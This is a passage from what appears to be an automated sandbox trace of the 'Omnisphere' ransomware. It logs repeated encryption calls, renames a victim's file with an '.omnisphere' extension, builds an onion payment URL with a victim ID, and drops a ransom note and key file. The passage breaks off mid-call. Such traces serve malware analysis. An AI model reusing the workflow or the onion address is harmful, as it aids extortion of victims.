[0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.592] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.593] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.594] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.595] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.596] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.596] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.596] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.596] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.596] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.596] CryptDestroyKey (hKey=0x1639528) returned 1 [0119.596] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.596] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4d3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.596] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.596] GetProcessHeap () returned 0x1600000 [0119.596] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16adb58 [0119.596] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9 (2).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9 (2).lnk.omnisphere")) returned 1 [0119.597] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk.omnisphere.id" [0119.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\awzi9 (2).lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.600] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.601] CloseHandle (hObject=0x3c0) returned 1 [0119.602] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.602] CloseHandle (hObject=0x288) returned 1 [0119.602] SetEndOfFile (hFile=0x28c) returned 1 [0119.603] FlushFileBuffers (hFile=0x28c) returned 1 [0119.607] CloseHandle (hObject=0x28c) returned 1 [0119.608] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AWZI9 (2).lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.608] GetProcessHeap () returned 0x1600000 [0119.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be2a0 [0119.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.608] GetProcessHeap () returned 0x1600000 [0119.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2180 [0119.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2180, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.608] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.608] GetProcessHeap () returned 0x1600000 [0119.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afc28 [0119.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afc28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.608] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.608] GetProcessHeap () returned 0x1600000 [0119.608] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2dd0 [0119.608] PathCombineW (in: pszDest=0x16a2dd0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.609] GetProcessHeap () returned 0x1600000 [0119.609] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b6820 [0119.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.609] WriteFile (in: hFile=0x28c, lpBuffer=0x16b6820*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b6820*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.609] CloseHandle (hObject=0x28c) returned 1 [0119.609] GetProcessHeap () returned 0x1600000 [0119.609] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be2a0 | out: hHeap=0x1600000) returned 1 [0119.609] GetProcessHeap () returned 0x1600000 [0119.610] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.610] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.610] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.610] CloseHandle (hObject=0x28c) returned 1 [0119.610] GetProcessHeap () returned 0x1600000 [0119.610] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.610] GetProcessHeap () returned 0x1600000 [0119.610] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656cb8 | out: hHeap=0x1600000) returned 1 [0119.610] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9292a66, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2185e7b9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2185e7b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0xd3, cFileName="AWZI9.lnk", cAlternateFileName="")) returned 1 [0119.611] GetProcessHeap () returned 0x1600000 [0119.611] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, 